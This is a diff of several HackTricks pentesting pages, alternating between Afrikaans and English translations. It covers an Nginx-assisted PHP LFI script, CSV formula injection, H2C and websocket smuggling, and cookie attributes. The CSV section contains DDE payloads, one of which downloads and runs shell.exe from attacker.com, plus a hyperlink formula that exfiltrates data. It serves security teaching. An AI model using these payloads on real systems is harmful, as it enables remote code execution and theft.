if **name** == "**main**": print('\[DEBUG] Skep aanvraag sessie') requests\_session = create\_requests\_session() print('\[DEBUG] Kry Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Begin payload stuur') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Begin fd lesers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
```
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Labs
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
@ -70,31 +55,18 @@ if **name** == "**main**": print('\[DEBUG] Skep aanvraag sessie') requests\_sess
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
```

View file

@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formula Injection
### Info
@ -30,7 +22,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
As jou **invoer** binne **CSV lêers** (of enige ander lêer wat waarskynlik deur **Excel** geopen gaan word) **reflekteer** word, kan jy dalk Excel **formules** plaas wat **uitgevoer** sal word wanneer die gebruiker die **lêer open** of wanneer die gebruiker op 'n **skakel** binne die excel bladsy **klik**.
{% hint style="danger" %}
Tans sal **Excel waarsku** (verskeie kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om te voorkom dat hy kwaadwillige aksies onderneem. Daarom moet spesiale moeite in Sosiale Ingenieurswese toegepas word op die finale payload.
Tans **sal Excel waarsku** (verskeie kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om te voorkom dat hy kwaadwillige aksies onderneem. Daarom moet spesiale moeite in Sosiale Ingenieurswese in die finale payload toegepas word.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
@ -48,17 +40,17 @@ DDE ("cmd";"/C calc";"!A0")A0
Die volgende voorbeeld is geneem van [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Stel jou 'n sekuriteitsbreuk in 'n Student Record Management-stelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentedetails te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde wat vir studentedetails bedoel is, in te voer. Die aanval ontvou soos volg:
Stel jou 'n sekuriteitsbreuk in 'n Student Record Management-stelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om student besonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde wat vir student besonderhede bedoel is, in te voer. Die aanval ontvou soos volg:
1. **Inspuiting van Kwaadwillige Payload:**
* Die aanvaller dien 'n studentedetailvorm in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. `=HYPERLINK("<malicious_link>","Click here")`).
* Die aanvaller dien 'n student besonderhede vorm in, maar sluit 'n formule in wat algemeen in sigblad gebruik word (bv. `=HYPERLINK("<malicious_link>","Click here")`).
* Hierdie formule is ontwerp om 'n hyperlink te skep, maar dit wys na 'n kwaadwillige bediener wat deur die aanvaller beheer word.
2. **Uitvoer van Gecompromitteerde Data:**
* Onderwysers, onbewus van die kompromie, gebruik die toepassing se funksionaliteit om die data in 'n CSV-lêer uit te voer.
* Die CSV-lêer, wanneer dit geopen word, bevat steeds die kwaadwillige payload. Hierdie payload verskyn as 'n klikbare hyperlink in die sigblaar.
3. **Aktivering van die Aanval:**
2. **Eksportering van Gecompromitteerde Data:**
* Onderwysers, onbewus van die kompromie, gebruik die toepassing se funksionaliteit om die data in 'n CSV-lêer te eksporteer.
* Die CSV-lêer, wanneer dit geopen word, bevat steeds die kwaadwillige payload. Hierdie payload verskyn as 'n klikbare hyperlink in die sigblad.
3. **Triggering van die Aanval:**
* 'n Onderwyser klik op die hyperlink, in die geloof dat dit 'n legitieme deel van die student se besonderhede is.
* By die klik word sensitiewe data (potensieel insluitend besonderhede van die sigblaar of die onderwyser se rekenaar) na die aanvaller se bediener oorgedra.
* By die klik word sensitiewe data (potensieel insluitend besonderhede van die sigblad of die onderwyser se rekenaar) na die aanvaller se bediener oorgedra.
4. **Teken van die Data:**
* Die aanvaller se bediener ontvang en teken die sensitiewe data wat van die onderwyser se rekenaar gestuur is.
* Die aanvaller kan dan hierdie data vir verskeie kwaadwillige doeleindes gebruik, wat die privaatheid en sekuriteit van die studente en die instelling verder kompromitteer.
@ -71,7 +63,7 @@ In spesifieke konfigurasies of ouer weergawes van Excel kan 'n funksie genaamd D
* Navigeer na File → Options → Trust Center → Trust Center Settings → External Content, en aktiveer **Dynamic Data Exchange Server Launch**.
Wanneer 'n sigblaar met die kwaadwillige payload geopen word (en as die gebruiker die waarskuwings aanvaar), word die payload uitgevoer. Byvoorbeeld, om die sakrekenaar-toepassing te begin, sou die payload wees:
Wanneer 'n sigblad met die kwaadwillige payload geopen word (en as die gebruiker die waarskuwings aanvaar), word die payload uitgevoer. Byvoorbeeld, om die sakrekenaar-toepassing te begin, sou die payload wees:
```markdown
=cmd|' /C calc'!xxx
```
@ -79,7 +71,7 @@ Aanvullende opdragte kan ook uitgevoer word, soos om 'n lêer af te laai en uit
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Lokale Lêer Insluiting (LFI) in LibreOffice Calc
### Plaaslike Lêer Insluiting (LFI) in LibreOffice Calc
LibreOffice Calc kan gebruik word om plaaslike lêers te lees en data te exfiltreer. Hier is 'n paar metodes:
@ -198,11 +190,6 @@ Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,45 +1,37 @@
# Opgradering van Header Smuggling
# Upgrade Header Smuggling
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Veiligheidsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### HTTP2 oor Duidelike Tegnologie (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, of **http2 oor duidelike teks**, deviates van die norm van tydelike HTTP-verbindinge deur 'n standaard HTTP **verbinding na 'n volgehoue een** op te gradeer. Hierdie opgegradeerde verbinding gebruik die http2 binêre protokol vir voortgesette kommunikasie, in teenstelling met die enkele versoek-natuur van duidelike teks HTTP.
H2C, of **http2 oor duidelike teks**, deviates from the norm of transient HTTP connections deur 'n standaard HTTP **verbinding na 'n volgehoue een** op te gradeer. Hierdie opgegradeerde verbinding gebruik die http2 binêre protokol vir voortdurende kommunikasie, in teenstelling met die enkele versoek-natuur van duidelike teks HTTP.
Die kern van die smuggling probleem ontstaan met die gebruik van 'n **omgekeerde proxy**. Gewoonlik verwerk die omgekeerde proxy en stuur HTTP versoeke na die agtergrond, en keer die agtergrond se antwoord daarna terug. Wanneer die `Connection: Upgrade` kop in 'n HTTP versoek teenwoordig is (wat algemeen gesien word met websocket verbindings), behou die omgekeerde **proxy 'n volgehoue verbinding** tussen kliënt en bediener, wat die voortdurende uitruil wat deur sekere protokolle vereis word, fasiliteer. Vir H2C verbindings vereis nakoming van die RFC die teenwoordigheid van drie spesifieke koppe:
Die kern van die smuggling probleem ontstaan met die gebruik van 'n **omgekeerde proxy**. Gewoonlik verwerk die omgekeerde proxy en stuur HTTP versoeke na die agterkant, en keer die agterkant se antwoord daarna terug. egter, wanneer die `Connection: Upgrade` kop in 'n HTTP versoek teenwoordig is (wat algemeen gesien word met websocket verbindings), hou die omgekeerde **proxy 'n volgehoue verbinding** tussen kliënt en bediener, wat die voortdurende uitruil wat deur sekere protokolle vereis word, fasiliteer. Vir H2C verbindings vereis nakoming van die RFC die teenwoordigheid van drie spesifieke koppe:
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
Die kwesbaarheid ontstaan wanneer die omgekeerde proxy, na 'n verbinding opgradering, ophou om individuele versoeke te bestuur, en aanneem dat sy werk van routering voltooi is na verbinding tot standkoming. Die benutting van H2C Smuggling maak dit moontlik om omgekeerde proxy reëls wat tydens versoekverwerking toegepas word, soos pad-gebaseerde routering, outentisering, en WAF verwerking, te omseil, mits 'n H2C verbinding suksesvol geïnisieer word.
Die kwesbaarheid ontstaan wanneer, na 'n verbinding opgradeer, die omgekeerde proxy ophou om individuele versoeke te bestuur, en aanneem dat sy werk van routering voltooi is na die vestiging van die verbinding. Die benutting van H2C Smuggling maak dit moontlik om omgekeerde proxy reëls wat tydens versoekverwerking toegepas word, soos pad-gebaseerde routering, outentisering, en WAF-verwerking, te omseil, mits 'n H2C-verbinding suksesvol geïnisieer word.
#### Kwesbare Proxies <a href="#exploitation" id="exploitation"></a>
Die kwesbaarheid hang af van die omgekeerde proxy se hantering van `Upgrade` en soms `Connection` headers. Die volgende proxies stuur hierdie headers inherent deur proxy-pass, wat H2C smuggling inherent moontlik maak:
Die kwesbaarheid is afhanklik van die omgekeerde proxy se hantering van `Upgrade` en soms `Connection` headers. Die volgende proxies stuur hierdie headers inherent deur proxy-pass, wat H2C smuggling inherent moontlik maak:
* HAProxy
* Traefik
@ -58,27 +50,27 @@ Aan die ander kant, hierdie dienste stuur nie inherent albei headers tydens prox
#### Benutting <a href="#exploitation" id="exploitation"></a>
Dit is belangrik om op te let dat nie alle bedieners inherent die headers stuur wat benodig word vir 'n conforme H2C verbinding opgradering nie. Soos sodanig, bedieners soos AWS ALB/CLB, NGINX, en Apache Traffic Server, onder andere, blokkeer natuurlik H2C verbindings. Nietemin, dit is die moeite werd om te toets met die nie-conforme `Connection: Upgrade` variasie, wat die `HTTP2-Settings` waarde uit die `Connection` header uitsluit, aangesien sommige agtergronde dalk nie aan die standaarde voldoen nie.
Dit is belangrik om op te let dat nie alle bedieners inherent die headers stuur wat benodig word vir 'n conforme H2C-verbinding opgradering nie. Soos sodanig, bedieners soos AWS ALB/CLB, NGINX, en Apache Traffic Server, onder andere, blokkeer natuurlik H2C-verbindinge. Nietemin, dit is die moeite werd om te toets met die nie-conforme `Connection: Upgrade` variasie, wat die `HTTP2-Settings` waarde uit die `Connection` header uitsluit, aangesien sommige agtergronde dalk nie aan die standaarde voldoen nie.
{% hint style="danger" %}
Ongeag die spesifieke **pad** wat in die `proxy_pass` URL aangedui word (bv. `http://backend:9999/socket.io`), val die gevestigde verbinding terug na `http://backend:9999`. Dit maak interaksie met enige pad binne daardie interne eindpunt moontlik, wat hierdie tegniek benut. Gevolglik beperk die spesifikasie van 'n pad in die `proxy_pass` URL nie toegang nie.
{% endhint %}
Die gereedskap [**h2csmuggler deur BishopFox**](https://github.com/BishopFox/h2csmuggler) en [**h2csmuggler deur assetnote**](https://github.com/assetnote/h2csmuggler) fasiliteer pogings om **proxy-opgelegde beskermings te omseil** deur 'n H2C verbinding tot stand te bring, wat toegang tot hulpbronne wat deur die proxy beskerm word, moontlik maak.
Die gereedskap [**h2csmuggler deur BishopFox**](https://github.com/BishopFox/h2csmuggler) en [**h2csmuggler deur assetnote**](https://github.com/assetnote/h2csmuggler) fasiliteer pogings om **proxy-opgelegde beskermings te omseil** deur 'n H2C-verbinding te vestig, wat toegang tot hulpbronne wat deur die proxy beskerm word, moontlik maak.
Vir addisionele inligting oor hierdie kwesbaarheid, veral rakende NGINX, verwys na [**hierdie gedetailleerde hulpbron**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
## Websocket Smuggling
Websocket smuggling, anders as die skep van 'n HTTP2 tonnel na 'n eindpunt wat via 'n proxy toeganklik is, stel 'n Websocket tonnel in om potensiële proxy beperkings te omseil en direkte kommunikasie met die eindpunt te fasiliteer.
Websocket smuggling, anders as die skep van 'n HTTP2 tonnel na 'n eindpunt wat deur 'n proxy toeganklik is, vestig 'n Websocket tonnel om potensiële proxy-beperkings te omseil en direkte kommunikasie met die eindpunt te fasiliteer.
### Scenario 1
In hierdie scenario, 'n agtergrond wat 'n publieke WebSocket API bied saam met 'n ontoeganklike interne REST API, word geteiken deur 'n kwaadwillige kliënt wat toegang tot die interne REST API soek. Die aanval ontvou in verskeie stappe:
1. Die kliënt begin deur 'n Upgrade versoek na die omgekeerde proxy te stuur met 'n verkeerde `Sec-WebSocket-Version` protokol weergawe in die header. Die proxy, wat nie die `Sec-WebSocket-Version` header valideer nie, glo die Upgrade versoek is geldig en stuur dit na die agtergrond.
2. Die agtergrond antwoord met 'n statuskode `426`, wat die verkeerde protokol weergawe in die `Sec-WebSocket-Version` header aandui. Die omgekeerde proxy, wat die agtergrond se antwoordstatus oor die hoof sien, neem aan dat dit gereed is vir WebSocket kommunikasie en stuur die antwoord na die kliënt.
3. Gevolglik word die omgekeerde proxy mislei om te glo dat 'n WebSocket verbinding tussen die kliënt en agtergrond tot stand gekom het, terwyl die agtergrond die Upgrade versoek verwerp het. Ten spyte hiervan, hou die proxy 'n oop TCP of TLS verbinding tussen die kliënt en agtergrond, wat die kliënt onbeperkte toegang tot die private REST API deur hierdie verbinding toelaat.
1. Die kliënt begin deur 'n Upgrade versoek na die omgekeerde proxy te stuur met 'n verkeerde `Sec-WebSocket-Version` protokolweergawe in die header. Die proxy, wat misluk om die `Sec-WebSocket-Version` header te valideer, glo die Upgrade versoek is geldig en stuur dit na die agtergrond.
2. Die agtergrond antwoord met 'n statuskode `426`, wat die verkeerde protokolweergawe in die `Sec-WebSocket-Version` header aandui. Die omgekeerde proxy, wat die agtergrond se antwoordstatus oor die hoof sien, neem aan dat dit gereed is vir WebSocket kommunikasie en stuur die antwoord na die kliënt.
3. Gevolglik word die omgekeerde proxy mislei om te glo dat 'n WebSocket verbinding tussen die kliënt en agtergrond gevestig is, terwyl die agtergrond in werklikheid die Upgrade versoek verwerp het. Ten spyte hiervan, hou die proxy 'n oop TCP of TLS verbinding tussen die kliënt en agtergrond, wat die kliënt onbeperkte toegang tot die private REST API deur hierdie verbinding toelaat.
Geaffekteerde omgekeerde proxies sluit Varnish in, wat geweier het om die probleem aan te spreek, en Envoy proxy weergawe 1.8.0 of ouer, met latere weergawes wat die opgradering meganisme verander het. Ander proxies kan ook kwesbaar wees.
@ -89,17 +81,17 @@ Geaffekteerde omgekeerde proxies sluit Varnish in, wat geweier het om die proble
Hierdie scenario behels 'n agtergrond met beide 'n publieke WebSocket API en 'n publieke REST API vir gesondheidskontrole, saam met 'n ontoeganklike interne REST API. Die aanval, meer kompleks, behels die volgende stappe:
1. Die kliënt stuur 'n POST versoek om die gesondheidskontrole API te aktiveer, insluitend 'n addisionele HTTP header `Upgrade: websocket`. NGINX, wat as die omgekeerde proxy dien, interpreteer dit as 'n standaard Upgrade versoek gebaseer slegs op die `Upgrade` header, terwyl dit die ander aspekte van die versoek verwaarloos, en stuur dit na die agtergrond.
2. Die agtergrond voer die gesondheidskontrole API uit, en kontak 'n eksterne hulpbron wat deur die aanvaller beheer word wat 'n HTTP antwoord met statuskode `101` teruggee. Hierdie antwoord, sodra dit deur die agtergrond ontvang en na NGINX gestuur is, mislei die proxy om te dink dat 'n WebSocket verbinding tot stand gekom het as gevolg van sy validasie van slegs die statuskode.
2. Die agtergrond voer die gesondheidskontrole API uit, wat kontak maak met 'n eksterne hulpbron wat deur die aanvaller beheer word wat 'n HTTP antwoord met statuskode `101` teruggee. Hierdie antwoord, sodra dit deur die agtergrond ontvang en na NGINX gestuur is, mislei die proxy om te dink dat 'n WebSocket verbinding gevestig is as gevolg van sy validasie van slegs die statuskode.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Waarskuwing:** Die kompleksiteit van hierdie tegniek neem toe aangesien dit die vermoë vereis om met 'n eindpunt te kommunikeer wat 'n statuskode 101 kan teruggee.
> **Waarskuwing:** Hierdie tegniek se kompleksiteit neem toe aangesien dit die vermoë vereis om met 'n eindpunt te kommunikeer wat 'n statuskode 101 kan teruggee.
Uiteindelik word NGINX mislei om te glo dat 'n WebSocket verbinding tussen die kliënt en die agtergrond bestaan. In werklikheid bestaan daar geen sodanige verbinding nie; die gesondheidskontrole REST API was die teiken. Nietemin, die omgekeerde proxy hou die verbinding oop, wat die kliënt toelaat om toegang tot die private REST API deur dit te verkry.
Uiteindelik word NGINX mislei om te glo dat 'n WebSocket verbinding tussen die kliënt en die agtergrond bestaan. In werklikheid bestaan daar geen sodanige verbinding nie; die gesondheidskontrole REST API was die teiken. Nietemin, die omgekeerde proxy hou die verbinding oop, wat die kliënt in staat stel om toegang tot die private REST API deur dit te verkry.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
Meeste omgekeerde proxies is kwesbaar vir hierdie scenario, maar benutting hang af van die teenwoordigheid van 'n eksterne SSRF kwesbaarheid, wat tipies as 'n laag-severiteit probleem beskou word.
Meeste omgekeerde proxies is kwesbaar vir hierdie scenario, maar benutting is afhanklik van die teenwoordigheid van 'n eksterne SSRF kwesbaarheid, wat tipies as 'n laag-severiteit probleem beskou word.
#### Laboratoriums
@ -112,15 +104,9 @@ Kontroleer die laboratoriums om beide scenario's te toets in [https://github.com
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
**Probeer Hard Veiligheid Groep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,31 +15,24 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Veiligheid Groep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
## Cookie Attributes
{% embed url="https://discord.gg/tryhardsecurity" %}
Cookies kom met verskeie eienskappe wat hul gedrag in die gebruiker se blaaiers beheer. Hier is 'n oorsig van hierdie eienskappe in 'n meer passiewe stem:
***
### Expires and Max-Age
## Koekie Attribuut
Die vervaldatum van 'n koekie word bepaal deur die `Expires` eienskap. Omgekeerd, die `Max-age` eienskap definieer die tyd in sekondes totdat 'n koekie verwyder word. **Kies vir `Max-age` aangesien dit meer moderne praktyke weerspieël.**
Koekies kom met verskeie attribuut wat hul gedrag in die gebruiker se blaaier beheer. Hier is 'n oorsig van hierdie attribuut in 'n meer passiewe stem:
### Domain
### Vervaldatum en Max-Age
Die gasheer wat 'n koekie ontvang, word gespesifiseer deur die `Domain` eienskap. Standaard is dit ingestel op die gasheer wat die koekie uitgereik het, sonder om sy subdomeine in te sluit. Wanneer die `Domain` eienskap egter eksplisiet ingestel word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` eienskap 'n minder beperkende opsie, nuttig vir scenario's waar koekie deel tussen subdomeine nodig is. Byvoorbeeld, om `Domain=mozilla.org` in te stel maak koekies beskikbaar op sy subdomeine soos `developer.mozilla.org`.
Die vervaldatum van 'n koekie word bepaal deur die `Expires` attribuut. Omgekeerd definieer die `Max-age` attribuut die tyd in sekondes totdat 'n koekie verwyder word. **Kies `Max-age` aangesien dit meer moderne praktyke weerspieël.**
### Path
### Domein
'n Spesifieke URL-pad wat teenwoordig moet wees in die versoekte URL vir die `Cookie` kop om gestuur te word, word aangedui deur die `Path` eienskap. Hierdie eienskap beskou die `/` karakter as 'n gids skeider, wat ooreenkomste in subgidse moontlik maak.
Die gasheer wat 'n koekie ontvang, word gespesifiseer deur die `Domain` attribuut. Standaard is dit ingestel op die gasheer wat die koekie uitgereik het, sonder om sy subdomeine in te sluit. Wanneer die `Domain` attribuut egter eksplisiet ingestel word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` attribuut 'n minder beperkende opsie, nuttig vir scenario's waar koekie deel tussen subdomeine nodig is. Byvoorbeeld, om `Domain=mozilla.org` in te stel, maak koekies beskikbaar op sy subdomeine soos `developer.mozilla.org`.
### Pad
'n Spesifieke URL-pad wat teenwoordig moet wees in die versoekte URL vir die `Cookie` kop om gestuur te word, word aangedui deur die `Path` attribuut. Hierdie attribuut beskou die `/` karakter as 'n gids skeider, wat ooreenkomste in subgidse moontlik maak.
### Bestellingsreëls
### Ordering Rules
Wanneer twee koekies dieselfde naam het, word die een wat gekies word om te stuur, gebaseer op:
@ -48,42 +41,42 @@ Wanneer twee koekies dieselfde naam het, word die een wat gekies word om te stuu
### SameSite
* Die `SameSite` attribuut bepaal of koekies gestuur word op versoeke wat afkomstig is van derdeparty domeine. Dit bied drie instellings:
* **Streng**: Beperk die koekie om nie op derdeparty versoeke gestuur te word nie.
* Die `SameSite` eienskap bepaal of koekies gestuur word op versoeke wat afkomstig is van derdeparty domeine. Dit bied drie instellings:
* **Strict**: Beperk die koekie om nie op derdeparty versoeke gestuur te word nie.
* **Lax**: Laat die koekie toe om gestuur te word met GET versoeke wat deur derdeparty webwerwe geïnisieer word.
* **Geen**: Laat die koekie toe om gestuur te word vanaf enige derdeparty domein.
* **None**: Laat die koekie toe om van enige derdeparty domein gestuur te word.
Onthou, terwyl jy koekies konfigureer, kan die begrip van hierdie attribuut help om te verseker dat hulle soos verwag oor verskillende scenario's optree.
Onthou, terwyl jy koekies konfigureer, kan die begrip van hierdie eienskappe help om te verseker dat hulle soos verwag oor verskillende scenario's optree.
| **Versoek tipe** | **Voorbeeld kode** | **Koekies gestuur wanneer** |
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
| Skakel | \<a href="...">\</a> | NotSet\*, Lax, None |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
